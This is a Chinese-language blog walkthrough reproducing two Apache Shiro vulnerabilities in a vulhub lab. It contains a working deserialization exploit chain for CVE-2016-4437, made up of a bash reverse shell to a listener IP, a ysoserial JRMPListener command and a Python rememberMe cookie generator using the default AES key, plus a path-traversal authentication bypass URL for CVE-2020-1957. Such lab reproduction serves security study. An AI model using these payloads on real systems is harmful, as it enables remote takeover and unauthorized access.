shiro安全框架的2个CVE漏洞复现

shiro安全框架的2个CVE漏洞复现

简介

shiro是apache下的一个java安全框架,通常用来进行授权和认证,相比于同样流行的spring security框架,shiro更加轻量更好上手使用的人也更多。

此文复现环境为vulhub靶场,以下将复现靶场中的两个shiroCVE漏洞。

1.CVE-2016-4437反序列化漏洞

复现条件

shiro版本<=1.2.4

需要有Remember me选项

需要默认AES密钥
在这里插入图片描述
复现原理

登录时勾选remember me序列化保存登录信息到Cookie

过程:序列化=>AES加密=>base64编码=>写入Cookie

在服务器端会相反的进行base64解码=>AES解密=>反序列化

若传入Cookie的是一段恶意代码,那服务器在反序列化时就会执行

其中AES加密为对称加密,加密解密需要同一个密钥,重点就是AES密钥的获取

其中1.2.4默认密钥kPH+bIxk5D2deZiIxcaaaA==

利用流程思路

1.服务器启动监听端口

2.写一段反弹shell使目标对象可以连接到监听的端口,对反弹shell进行编码

3.利用编码后的shell启动JRMPListener

4.写一段恶意代码(开启JRMP连接到刚才启动的Listener端口),将这段恶意代码进行:序列化=>AES加密=>base64编码=>写入Cookie

5.服务器:base64解码=>AES解密=>反序列化,执行恶意代码连接到JRMP服务器

复现过程
1.监听端口

nc -lvp 7777 

在这里插入图片描述
2.反弹shell
利用工具:
https://ares-x.com/tools/runtime-exec/

bash -i >& /dev/tcp/192.168.88.132/7777 0>&1 

-i 参数 生成交互式shell
>& 把标准输入和标准输出重定向到socket
/dev/tcp/192.168.88.132/7777 表示bash会对/dev/tcp特殊处理,代表了一个tcp socket
0>&1 将标准输入重定向到标准输出
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

3.启动JRMPListener

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMi83Nzc3IDA+JjEg}|{base64,-d}|{bash,-i}"

在这里插入图片描述4.恶意代码写入cookie

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    # 打开JRMP客户端,连接到特定端口
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    # 用获取到的key  AES加密
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    # 生成随机16位长度的IV
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    # base64编码
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print("rememberMe={0}".format(payload.decode()))

生成

rememberMe=/7W9tNpzRJGkCEx7Q1XRqwSgkBx3QPYXUnlzqOk9B4eKfD75xDSPpVo7iX+QI0ZqeEKAfhpU/MZYawxHKmHixXxwsHrRiKB76YE9nkmYRg74mJsChMgkpqsTxSgT0TLGjMlaG0cEW1Gi8FnIRKsbIPEGj20JRFu3HcCq/jyShqTH5z1G20Ke1ySW1jZiFH79RYgGh9mr+o04GZa9t+jHNTQ+o7f2SrzOoO5bXt1+8CoO/UDdBnr87puYlQg9ly3c0PC0I2Q+RMOtwnnxN7of624r7xjHnaW1T1DYHpL1TfzATTEONpPtWMDMPrQGGSdLl8LrYntDaJtzpWlxFVZu/ElHYQ6TM7cZxb9EkPi4GwxuVqLdMwx9bfF6qAKXa5KauDh7cIuijd9/mhGEIg4V1w==

在这里插入图片描述5.成功执行恶意代码得到控制权
在这里插入图片描述

2.CVE-2020-1957权限绕过漏洞

复现条件

Shiro版本 < 1.5.3

复现原理

shiro会对URL进行验证,decodeAndCleanUriString()会以;进行截断,再进入normalize() 对路径进行标准化处理,最后在getChain()进行校验。主要思路是使其利用各种字符拼接通过shiro的校验。

shiro通过后进入springboot会对请求进行处理,找到对应的mapping,具体匹配的方式是getPathWithinServletMapping(),而这个函数一般返回的是servletPath=(目录名)+页面名

复现思路

利用如下payload过校验,进入springboot后mapping映射请求到页面的路径

payload:/xxx/..;/名称/

总体URL:htttp://youip/xxx/…;/名称/

shiro校验:/xxx/…; 校验通过

springboot:处理/xxx/…;/名称/,只请求了/名称/

复现过程

http://192.168.88.111:8080/login.html页面需要登录才能访问admin界面http://192.168.88.111:8080/admin/
在这里插入图片描述
当在url直接输入http://192.168.88.111:8080/xxx/…;/admin/直接绕过验证

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值